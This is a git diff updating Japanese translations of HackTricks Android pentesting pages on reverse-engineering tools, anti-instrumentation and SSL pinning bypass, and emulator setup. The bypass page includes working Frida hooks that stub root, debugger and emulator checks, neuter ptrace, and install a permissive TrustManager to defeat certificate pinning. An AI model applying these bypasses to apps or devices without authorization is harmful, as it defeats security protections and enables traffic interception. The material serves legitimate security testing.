to a class inheriting from FilterInputStream to decrypt it; -- do some useless obfuscation to waste a few minutes of time from a reverser; -- feed the decrypted result to a ZipInputStream to get a DEX file; -- finally load the resulting DEX as a Resource using the `loadDex` method. +- リソースを InputStream として読み込む; +- 結果を FilterInputStream を継承したクラスに渡して復号する; +- リバースエンジニアの数分の時間を浪費させるための無意味な難読化を行う; +- 復号された結果を ZipInputStream に渡して DEX ファイルを取得する; +- 最後に生成された DEX を `loadDex` メソッドを使って Resource として読み込む。 ### [DeGuard](http://apk-deguard.com) -**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** +**DeGuard は Android の難読化ツールによって行われた難読化プロセスを逆にします。これにより、コードの検査やライブラリの推定など、さまざまなセキュリティ解析が可能になります。** -You can upload an obfuscated APK to their platform. +難読化された APK を彼らのプラットフォームにアップロードすることができます。 ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app @@ -795,7 +799,7 @@ It is a **generic android deobfuscator.** Simplify **virtually executes an app** ### [APKiD](https://github.com/rednaga/APKiD) -APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. +APKiD は **how an APK was made** に関する情報を提供します。多くの **compilers**, **packers**, **obfuscators** やその他の変わったものを識別します。Android 向けの [_PEiD_] と言えます。 ### Manual @@ -805,17 +809,17 @@ APKiD gives you information about **how an APK was made**. It identifies many ** ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b は ubuntu-mate ベースの Android セキュリティ仮想マシンで、リバースエンジニアリングおよび malware 分析のための最新フレームワーク、チュートリアル、ラボを様々なセキュリティ研究者や研究家から集めたコレクションを含みます。 +AndroL4b は ubuntu-mate ベースの Android セキュリティ仮想マシンで、reverse engineering や malware analysis のための最新フレームワーク、チュートリアル、ラボをさまざまなセキュリティ研究者やエンジニアから収集して含んでいます。 ## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 素晴らしいリソースの一覧です -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 素晴らしいリソース一覧です +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android クイックコース - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) -- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-sslpinning-detection-for-android-security-analysis-1390e9eca097) +- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index 4a53d5fbf..a2d8317ca 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -1,31 +1,31 @@ -# Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection) +# Android アンチインストゥルメンテーション & SSL ピンニングバイパス (Frida/Objection) {{#include ../../banners/hacktricks-training.md}} -このページは、instrumentation を検出／root ブロックする、もしくは TLS pinning を強制する Android アプリに対して、動的解析（dynamic analysis）を取り戻すための実践的なワークフローを提供します。迅速なトリアージ、一般的な検出方法、そして可能な限りリパッキングせずにバイパスするためのコピペ可能なフック／戦術に焦点を当てています。 +このページは、インストゥルメンテーションを検知／rootでブロックする Android アプリや TLS ピンニングを強制するアプリに対して、動的解析を再確立するための実践的なワークフローを示します。高速なトリアージ、一般的な検知方法、再パッケージ不要で回避可能なコピペ可能なフック／戦術に焦点を当てています。 -## Detection Surface (what apps check) +## 検知サーフェス（アプリがチェックする項目） -- Root チェック: su バイナリ、Magisk パス、getprop 値、一般的な root パッケージ -- Frida/debugger チェック (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc のスキャン、classpath、読み込まれた libs -- ネイティブ anti‑debug: ptrace(), syscalls、anti‑attach、ブレークポイント、インラインフック -- 早期初期化チェック: Application.onCreate() や、instrumentation が存在するとクラッシュするプロセス開始フック -- TLS pinning: カスタム TrustManager/HostnameVerifier、OkHttp CertificatePinner、Conscrypt pinning、ネイティブ pin +- Root チェック: su バイナリ、Magisk パス、getprop の値、一般的な root パッケージ +- Frida/デバッガ検知（Java）: Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc のスキャン、classpath、読み込まれたライブラリ +- ネイティブのアンチデバッグ: ptrace(), syscalls、anti‑attach、ブレークポイント、インラインフック +- 早期初期化チェック: Application.onCreate() やプロセス起動時のフックで、インストゥルメンテーションがあるとクラッシュさせるもの +- TLS ピンニング: カスタム TrustManager/HostnameVerifier、OkHttp CertificatePinner、Conscrypt ピンニング、ネイティブピン -## Step 1 — Quick win: hide root with Magisk DenyList +## Step 1 — 即効の対処: Magisk DenyList で root を隠す - Magisk で Zygisk を有効化 -- DenyList を有効化し、ターゲットパッケージを追加 +- DenyList を有効にして対象パッケージを追加 - 再起動して再テスト -多くのアプリは明らかな指標（su/Magisk パス/getprop）しか確認していません。DenyList はナイーブなチェックを無効化することが多いです。 +多くのアプリは明白な指標（su/Magisk パス/getprop）しか見ていません。DenyList はナイーブなチェックを無効化することが多いです。 References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk -## Step 2 — 30‑second Frida Codeshare tests +## Step 2 — 30秒フリダ Codeshare テスト -深掘りする前に一般的なドロップインスクリプトを試してください: +深掘りする前に一般的な drop‑in スクリプトを試してください: - anti-root-bypass.js - anti-frida-detection.js @@ -35,13 +35,13 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -これらは通常、Java の root/debug チェック、プロセス／サービスのスキャン、およびネイティブの ptrace() をスタブ化します。軽度に保護されたアプリでは有用ですが、強化されたターゲットではカスタムのフックが必要な場合があります。 +これらは通常、Javaのroot/debugチェック、プロセス/サービスのスキャン、およびネイティブのptrace()をスタブ化します。保護の弱いアプリには有用ですが、堅牢に保護されたターゲットではカスタムフックが必要になる場合があります。 - Codeshare: https://codeshare.frida.re/ -## Medusa（Frida フレームワーク）で自動化 +## Medusa (Frida framework)で自動化 -Medusa は、SSL unpinning、root/emulator detection bypass、HTTP comms logging、crypto key interception などの 90+ の既成モジュールを提供します。 +Medusaは、SSL unpinning、root/emulator detection bypass、HTTP comms logging、crypto key interceptionなどのための90以上の既成モジュールを提供します。 ```bash git clone https://github.com/Ch0pin/medusa cd medusa @@ -54,40 +54,40 @@ use http_communications/multiple_unpinner use root_detection/universal_root_detection_bypass run com.target.app ``` -ヒント: Medusa はカスタム hooks を作る前の素早い成果に最適です。必要な modules を選んで自分の scripts と組み合わせることもできます。 +ヒント: Medusa は custom hooks を書く前に迅速な成果を出すのに最適です。modules を個別に選んで自分の scripts と組み合わせることもできます。 -## Step 3 — init-time detectors を回避するには遅めに attach する +## Step 3 — attaching late で init-time detectors を Bypass する -多くの検知は process spawn/onCreate() の間にのみ実行されます。Spawn‑time injection (-f) や gadgets は検出されやすく、UI が読み込まれた後に attach するとすり抜けられることがあります。 +多くの検出は process spawn/onCreate() の実行時のみ走ります。Spawn‑time injection (-f) や gadgets は検出されやすいですが、UI が読み込まれた後に attaching すると回避できることがあります。 ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -これで動作する場合は、セッションを安定させたまま map and stub checks に進んでください。 +もしこれが機能するなら、セッションを安定させたまま map と stub checks に進んでください。 -## Step 4 — Jadx と string hunting による検出ロジックのマッピング +## Step 4 — Jadx と文字列探索による検出ロジックのマッピング Static triage keywords in Jadx: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" -Typical Java patterns: +典型的な Java パターン: ```java public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -確認/ hook する一般的なAPI: +Common APIs を確認・hook すべき一般的な API: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices - java.lang.System.loadLibrary / System.load (native bridge) - java.lang.Runtime.exec / ProcessBuilder (probing commands) - android.os.SystemProperties.get (root/emulator heuristics) -## ステップ5 — Runtime stubbing with Frida (Java) +## Step 5 — Runtime stubbing with Frida (Java) -カスタムガードをオーバーライドして、repacking なしで安全な値を返す: +カスタムガードを上書きして、安全な値を返す（repacking を行わずに）: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -初期のクラッシュをトリアージしていますか？終了直前に Dump classes を取得し、検出の可能性の高い namespaces を特定します： +早期クラッシュをトリアージしていますか？クラッシュ直前にクラスをダンプして、検出に使われそうな名前空間を特定します: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -111,7 +111,6 @@ onComplete: () => console.log('Done') }); }); ``` -```javascript // Quick root detection stub example (adapt to target package/class names) Java.perform(() => { try { @@ -119,9 +118,8 @@ const RootChecker = Java.use('com.target.security.RootCheck'); RootChecker.isDeviceRooted.implementation = function () { return false; }; } catch (e) {} }); -``` -疑わしいメソッドをログ出力して無効化し、実行フローを確認する: +疑わしいメソッドをログに記録して無効化し、実行フローを確認する： ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -133,9 +131,9 @@ return false; ``` ## Bypass emulator/VM detection (Java stubs) -一般的なヒューリスティック: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE に generic/goldfish/ranchu/sdk が含まれる; QEMU のアーティファクト（/dev/qemu_pipe, /dev/socket/qemud）; デフォルト MAC 02:00:00:00:00:00; 10.0.2.x の NAT; telephony/sensors が欠如している。 +一般的なヒューリスティック: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE containing generic/goldfish/ranchu/sdk; QEMU artifacts like /dev/qemu_pipe, /dev/socket/qemud; default MAC 02:00:00:00:00:00; 10.0.2.x NAT; missing telephony/sensors. -Build フィールドの簡易な偽装例: +Build フィールドの簡易偽装: ```js Java.perform(function(){ var Build = Java.use('android.os.Build'); @@ -145,11 +143,11 @@ Build.BRAND.value = 'google'; Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys'; }); ``` -ファイル存在チェックや識別子（TelephonyManager.getDeviceId/SubscriberId、WifiInfo.getMacAddress、SensorManager.getSensorList）用のスタブを追加し、現実的な値を返すようにしてください。 +ファイルの存在チェックと識別子（TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList）に対するスタブを追加して、現実的な値を返すようにしてください。 ## SSL pinning bypass quick hook (Java) -カスタムTrustManagersを無効化し、許容的なSSL contextsを強制する: +カスタム TrustManagers を無効化し、許容的な SSL contexts を強制します: ```js Java.perform(function(){ var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); @@ -168,27 +166,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr); }); ``` 注意 -- OkHttp 用に拡張する: 必要に応じて okhttp3.CertificatePinner と HostnameVerifier を hook するか、CodeShare の universal unpinning script を使用する。 +- OkHttp 向けに拡張: 必要に応じて okhttp3.CertificatePinner と HostnameVerifier を hook するか、CodeShare のユニバーサル unpinning スクリプトを使用する。 - 実行例: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` -## Step 6 — Java hooks が失敗した場合は JNI/native のトレイルを追う +## ステップ6 — Java hooks が失敗したときは JNI/native のトレイルを辿る -JNI エントリポイントをトレースして native loaders と detection init を特定する: +JNI のエントリポイントをトレースして native loaders と detection init を特定する: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -バンドルされた .so ファイルの簡易ネイティブトリアージ: +バンドルされた .so ファイルの簡易ネイティブトリアージ： ```bash # List exported symbols & JNI nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -インタラクティブ/ネイティブ reversing: +インタラクティブ／ネイティブ逆解析: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -例: ptrace を無効化して libc の簡単な anti‑debug を回避する: +例: ptrace を無効化して libc の単純な anti‑debug を回避する: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -202,22 +200,22 @@ return -1; // pretend failure reversing-native-libraries.md {{#endref}} -## ステップ 7 — Objection patching (embed gadget / strip basics) +## ステップ7 — Objection patching (embed gadget / strip basics) runtime hooks より repacking を好む場合は、次を試してください: ```bash objection patchapk --source app.apk ``` -Notes: -- apktool が必要です。ビルドの問題を避けるため、公式ガイドの最新バージョンを確認してください: https://apktool.org/docs/install -- Gadget injection は root なしで instrumentation を可能にしますが、より強力な init‑time checks によって検出される可能性があります。 +注記: +- apktool が必要；ビルド問題を避けるため、公式ガイドから最新バージョンを取得してください: https://apktool.org/docs/install +- Gadget injection は root を必要としない instrumentation を可能にするが、より強力な初期化時チェックによって検出される可能性がある。 -Optionally, add LSPosed modules and Shamiko for stronger root hiding in Zygisk environments, and curate DenyList to cover child processes. +任意で、Zygisk 環境でのより強力な root 隠蔽のために LSPosed モジュールと Shamiko を追加し、DenyList を調整して子プロセスもカバーしてください。 -References: +参考: - Objection: https://github.com/sensepost/objection -## Step 8 — Fallback: Patch TLS pinning for network visibility +## Step 8 — Fallback: TLS pinning をパッチしてネットワークの可視性を確保する If instrumentation is blocked, you can still inspect traffic by removing pinning statically: ```bash @@ -225,7 +223,7 @@ apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy ``` - ツール: https://github.com/shroudedcode/apk-mitm -- ネットワーク構成の CA‑trust トリック（および Android 7+ user CA trust）については、次を参照: +- ネットワーク設定の CA‑trust トリック（および Android 7+ の user CA trust）については、次を参照: {{#ref}} make-apk-accept-ca-certificate.md @@ -255,12 +253,12 @@ apk-mitm app.apk ``` ## ヒントと注意点 -- アプリが起動時にクラッシュする場合は、spawn させるより late attaching を遅らせて attach する方が望ましい -- 一部の detections は重要なフロー（例：payment、auth）で再実行される — navigation 中は hooks を有効に保つ -- static と dynamic を組み合わせる: Jadx で string hunt をして候補クラスを絞り、runtime でメソッドを hook して検証する -- Hardened apps は packers や native TLS pinning を使う場合がある — native code をリバースすることを想定する +- アプリが起動時にクラッシュする場合は、spawnするよりも遅めにattachすることを優先する +- 一部の検出は重要なフロー（例：payment、auth）で再実行される — navigation中はhooksを有効にしておく +- 静的解析と動的解析を組み合わせる: Jadxでstring huntして候補クラスを絞り込み、hook methodsでruntime時に検証する +- ハード化されたアプリはpackersやnative TLS pinningを使用することがある — native codeをreverseすることを想定する -## References +## 参考 - [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/) - [Frida Codeshare](https://codeshare.frida.re/) diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index b187e163a..aba5d7f09 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -1,34 +1,34 @@ -# AVD - Android Virtual Device +# AVD - Android仮想デバイス {{#include ../../banners/hacktricks-training.md}} -このコンテンツ作成にあたりご協力いただいた [**@offsecjay**](https://twitter.com/offsecjay) に深く感謝します。 +このコンテンツの作成に協力してくれた [**@offsecjay**](https://twitter.com/offsecjay) に深く感謝します。 ## 概要 -Android Studio により、**APKs のテストに使用できる Android の仮想マシンを実行**できます。使用するには次が必要です: +Android Studioでは、**APKをテストするために使用できるAndroidの仮想マシンを実行できます**。それらを使用するには次が必要です: -- **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). -- または **Android Studio**（Android SDK tools を含む） - [Download here](https://developer.android.com/studio). +- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). +- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio). -Windows（私の場合）では、**Android Studio をインストールした後**、**SDK Tools がインストールされていた場所**: `C:\Users\\AppData\Local\Android\Sdk\tools` +Windows（私の場合）では、**Android Studioをインストールした後**、**SDK Toolsは次の場所にインストールされました**: `C:\Users\\AppData\Local\Android\Sdk\tools` -mac では、**SDK tools をダウンロード**して、次のコマンドで PATH に追加できます: +macでは、**SDK toolsをダウンロード**してPATHに入れることができます。実行: ```bash brew tap homebrew/cask brew install --cask android-sdk ``` -または **Android Studio GUI** から（[https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) に示されているように）これにより `~/Library/Android/sdk/cmdline-tools/latest/bin/` と `~/Library/Android/sdk/platform-tools/` と `~/Library/Android/sdk/emulator/` にインストールされます +または **Android Studio GUI** から（[https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) に示されているように）インストールすることもでき、これにより `~/Library/Android/sdk/cmdline-tools/latest/bin/` と `~/Library/Android/sdk/platform-tools/` と `~/Library/Android/sdk/emulator/` にインストールされます。 -Java の問題については: +Javaの問題については： ```java export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ``` ## GUI -### Prepare Virtual Machine +### 仮想マシンを準備する -Android Studioをインストールしている場合、メインのプロジェクトビューを開き、次を選択できます: _**Tools**_ --> _**AVD Manager.**_ +If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
@@ -36,36 +36,38 @@ Android Studioをインストールしている場合、メインのプロジェ
-次に、_**Create Virtual Device**_ をクリックします +Then, click on _**Create Virtual Device**_
-_**select**_ したい端末を選び、_**Next.**_ をクリックします。 +_**使用する電話を選択**_ して、_**Next.**_ をクリックします。 > [!WARNING] -> Play Storeがインストールされた端末が必要な場合は、Play Storeアイコンが付いているものを選択してください！ +> Play Store がインストールされた端末が必要な場合は、Play Store アイコンが付いたものを選んでください！ > > -現在のビューでは、端末が実行するAndroidイメージを**選択してダウンロード**できます: +In the current view you are going to be able to **select and download the Android image** that the phone is going to run:
-それを選択し、まだダウンロードされていない場合は名前の横にある_**Download**_シンボルをクリックしてください（イメージのダウンロードが完了するまで待ちます）。**`Next`** と **`Finish`** を選択してください。\ -イメージがダウンロードされると仮想マシンが作成されます。以後、AVD managerにアクセスするたびにその仮想マシンが表示されます。 +選択して、まだダウンロードされていない場合は名前の横にある _**Download**_ アイコンをクリックしてください（**イメージのダウンロードが完了するまで待ちます**）。\ +イメージがダウンロードされたら、**`Next`** と **`Finish`** を選択します。 -### Run Virtual Machine +仮想マシンが作成されます。以後、AVD manager にアクセスするたびに **その仮想マシンが表示されます**。 -実行するには、_**Start button**_ を押します。 +### 仮想マシンを起動する + +起動するには、_**Start button**_ を押すだけです。 ![](<../../images/image (518).png>) -## Command Line tool +## コマンドラインツール > [!WARNING] -> macOSでは、`avdmanager` ツールは `/Users//Library/Android/sdk/tools/bin/avdmanager` に、`emulator` は `/Users//Library/Android/sdk/emulator/emulator` にあります（インストールされている場合）。 +> macOS では、`avdmanager` ツールは `/Users//Library/Android/sdk/tools/bin/avdmanager` に、`emulator` は `/Users//Library/Android/sdk/emulator/emulator` にあります（インストールされている場合）。 -まず、どの端末を使うか**決める必要があります**。使用可能な端末の一覧を表示するには、次を実行してください: +まず **どの端末を使うかを決める** 必要があります。利用可能な端末の一覧を表示するには、次を実行してください： ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -93,16 +95,16 @@ Name: Nexus 10 OEM : Google [...] ``` -使用するデバイスの名前を決めたら、次に**そのデバイスで実行する Android イメージを決める必要があります。**\ +使用するデバイスの名前を決めたら、**そのデバイスで実行する Android イメージを決める必要があります。**\ すべてのオプションは `sdkmanager` を使って一覧表示できます: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -そして、使用したいもの（またはすべて）を**ダウンロード**するには、次のコマンドを使用してください: +そして、使用したいもの（またはすべて）を次のコマンドで **download** してください: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -使用したい Android image をダウンロードしたら、次のコマンドで **ダウンロード済みの Android images をすべて一覧表示** できます: +使用したい Android イメージをダウンロードしたら、次のようにして**ダウンロードしたすべての Android イメージを一覧表示**できます: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -118,12 +120,12 @@ Type: Platform API level: 29 Revision: 4 ``` -この時点で、使用するデバイスを決め、Androidイメージをダウンロードしているので、**仮想マシンを作成するには次の方法を使用できます**: +この時点で使用するデバイスを決め、Androidイメージをダウンロードしているので、**仮想マシンを作成するには以下を使用できます**： ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -前のコマンドで、**AVD9という名前のVMを作成しました**（**デバイス** "_Nexus 5X_" と **Androidイメージ** "_system-images;android-28;google_apis;x86_64_" を使用）。\ -作成した**仮想マシンを一覧表示**するには: +直前のコマンドで **名前を付けたVMを作成しました** "_AVD9_"、**デバイス** "_Nexus 5X_" と **Androidイメージ** "_system-images;android-28;google_apis;x86_64_" を使用しました。\ +これで、作成した**仮想マシンを一覧表示**できます: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -141,15 +143,15 @@ Error: Google pixel_2 no longer exists as a device ### 仮想マシンの起動 > [!WARNING] -> For macOS you can find the `avdmanager` tool in `/Users//Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users//Library/Android/sdk/emulator/emulator` if you have them installed. +> macOSでは、`avdmanager` ツールは `/Users//Library/Android/sdk/tools/bin/avdmanager` に、`emulator` は `/Users//Library/Android/sdk/emulator/emulator` にあります（インストールしている場合）。 -既に作成した仮想マシンを一覧表示する方法は見ましたが、**以下の方法でも一覧表示できます**: +作成した仮想マシンを一覧表示する方法はすでに見ましたが、**次の方法でも一覧表示できます**： ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds AVD9 Pixel_2_API_27 ``` -次のコマンドを使って、**作成した任意の仮想マシンを実行**できます: +次のコマンドを使って、作成した任意の**virtual machine**を簡単に起動できます: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName" C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" @@ -158,35 +160,35 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -### Command line options +### コマンドラインオプション -しかし、仮想マシンを起動するために使える**多数の便利なコマンドラインオプション**が存在します。以下にいくつかの興味深いオプションを示しますが、[**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) +ただし、仮想マシンを起動する際に使える **多くの有用なコマンドラインオプション** が存在します。以下はいくつかの興味深いオプションですが、[**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) **起動** -- `-snapshot name` : Start VM snapshot -- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 記録されているすべてのスナップショットを一覧表示します +- `-snapshot name` : VM スナップショットを開始する +- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 記録されたすべてのスナップショットを一覧表示する **ネットワーク** -- `-dns-server 192.0.2.0, 192.0.2.255` : VMにカンマ区切りでDNSサーバを指定できます。 -- **`-http-proxy 192.168.1.12:8080`** : 使用するHTTPプロキシを指定できます（Burpでトラフィックをキャプチャするのに非常に便利） -- プロキシ設定が何らかの理由で動作しない場合は、内部で設定するか "Super Proxy" や "ProxyDroid" のようなアプリを使って設定してみてください。 -- `-netdelay 200` : ネットワーク遅延のエミュレーションをミリ秒単位で設定します。 -- `-port 5556` : コンソールと adb に使用される TCP ポート番号を設定します。 -- `-ports 5556,5559` : コンソールと adb に使用される TCP ポートを設定します。 -- **`-tcpdump /path/dumpfile.cap`** : すべてのトラフィックをファイルにキャプチャします +- `-dns-server 192.0.2.0, 192.0.2.255` : VM にカンマ区切りで DNS サーバを指定する +- **`-http-proxy 192.168.1.12:8080`** : 使用する HTTP プロキシを指定する（Burp を使ってトラフィックをキャプチャする際に非常に便利） +- プロキシ設定が何らかの理由で動作しない場合は、内部で設定するか "Super Proxy" や "ProxyDroid" のようなアプリケーションを使って構成してみてください。 +- `-netdelay 200` : ネットワーク遅延のエミュレーションをミリ秒単位で設定する +- `-port 5556` : console と adb に使用される TCP ポート番号を設定する +- `-ports 5556,5559` : console と adb に使用される TCP ポートを設定する +- **`-tcpdump /path/dumpfile.cap`** : すべてのトラフィックをファイルにキャプチャする **システム** -- `-selinux {disabled|permissive}` : Security-Enhanced Linux セキュリティモジュールを disabled または permissive モードに設定します。 -- `-timezone Europe/Paris` : 仮想デバイスのタイムゾーンを設定します -- `-screen {touch(default)|multi-touch|o-touch}` : エミュレートされたタッチスクリーンモードを設定します。 -- **`-writable-system`** : このオプションを使用すると、エミュレーションセッション中にシステムイメージを読み書き可能にできます。`adb root; adb remount` の実行も必要です。システムに新しい証明書をインストールするのに非常に便利です。 +- `-selinux {disabled|permissive}` : Linux オペレーティングシステム上で Security-Enhanced Linux セキュリティモジュールを disabled または permissive モードに設定する +- `-timezone Europe/Paris` : 仮想デバイスのタイムゾーンを設定する +- `-screen {touch(default)|multi-touch|o-touch}` : エミュレートされたタッチスクリーンのモードを設定する +- **`-writable-system`** : エミュレーションセッション中にシステムイメージを writable にするオプションです。`adb root; adb remount` の実行も必要になります。システムに新しい証明書をインストールするのに非常に便利です。 -## Linux CLI のセットアップ (SDK/AVD quickstart) +## Linux CLI セットアップ (SDK/AVD quickstart) -公式のCLIツールを使うと、Android Studio を使わずに高速でデバッグ可能なエミュレータを簡単に作成できます。 +公式の CLI ツールを使えば、Android Studio を使わずに高速でデバッグ可能なエミュレータを簡単に作成できます。 ```bash # Directory layout mkdir -p ~/Android/cmdline-tools/latest @@ -215,11 +217,11 @@ adb root adb shell whoami # expect: root ``` メモ -- システムイメージのフレーバー: google_apis (debuggable、adb rootを許可), google_apis_playstore (not rootable), aosp/default (lightweight). -- ビルドタイプ: userdebug はデバッグ対応イメージで `adb root` を許可することが多い。Play Store images はプロダクションビルドで root をブロックする。 -- x86_64 ホストでは、API 28+ 以降で full-system ARM64 エミュレーションはサポートされない。Android 11+ では、per-app ARM-to-x86 translation を含む Google APIs/Play images を使用すると、多くの ARM-only アプリを高速に実行できる。 +- システムイメージのフレーバー: google_apis (デバッグ可能、adb root を許可), google_apis_playstore (root化不可), aosp/default (軽量). +- ビルドタイプ: userdebug はデバッグ対応のイメージで `adb root` を許可することが多い。Play Store イメージはプロダクションビルドで root をブロックする。 +- x86_64 ホストでは、API 28+ 以降でフルシステムの ARM64 エミュレーションはサポートされない。Android 11+ では、多くの ARM 専用アプリを高速に実行するために、アプリ単位の ARM→x86 翻訳を含む Google APIs/Play images を使用する。 -### CLIからのスナップショット +### CLI からのスナップショット ```bash # Save a clean snapshot from the running emulator adb -s emulator-5554 emu avd snapshot save my_clean_setup @@ -227,25 +229,24 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup # Boot from a named snapshot (if it exists) emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup ``` -## ARM→x86 バイナリ変換 (Android 11+) +## ARM→x86 バイナリ翻訳 (Android 11+) -Android 11+ 上の Google APIs および Play Store images は、システムの他の部分をネイティブの x86/x86_64 のままに保ちながら、プロセスごとに ARM アプリのバイナリを変換できます。これはデスクトップで多くの ARM 専用アプリをテストするのに十分高速であることが多いです。 +Android 11+ の Google APIs と Play Store イメージは、システムの残りをネイティブな x86/x86_64 のままに保ちながら、プロセスごとに ARM アプリのバイナリを翻訳できます。これは、多くの ARM 専用アプリをデスクトップでテストするのに十分高速であることがよくあります。 -> ヒント: pentests 中は Google APIs x86/x86_64 images を優先してください。Play images は便利ですが `adb root` をブロックします。Play services が特に必要で、root が無いことを受け入れる場合にのみ使用してください。 +> ヒント: Pentests 中は Google APIs x86/x86_64 イメージを優先してください。Play イメージは便利ですが `adb root` をブロックします; Play services がどうしても必要で root 